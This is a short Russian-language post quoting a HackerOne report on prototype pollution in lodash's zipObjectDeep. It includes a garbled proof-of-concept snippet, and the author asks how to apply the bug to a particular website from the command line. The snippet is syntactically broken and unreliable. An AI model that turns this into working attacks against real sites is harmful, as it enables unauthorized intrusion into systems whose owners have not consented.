Так, ну вот на hackeroon нашел что-то.
https://hackerone.com/reports/712065"Steps To Reproduce: Craft an object by "zipObjectDeep" function of lodash
const = require('lodash'); .zipObjectDeep(['proto.z'],[123]) console.log(z) // 123
"
Как это применять к какому-то конкретному сайту из командной строки?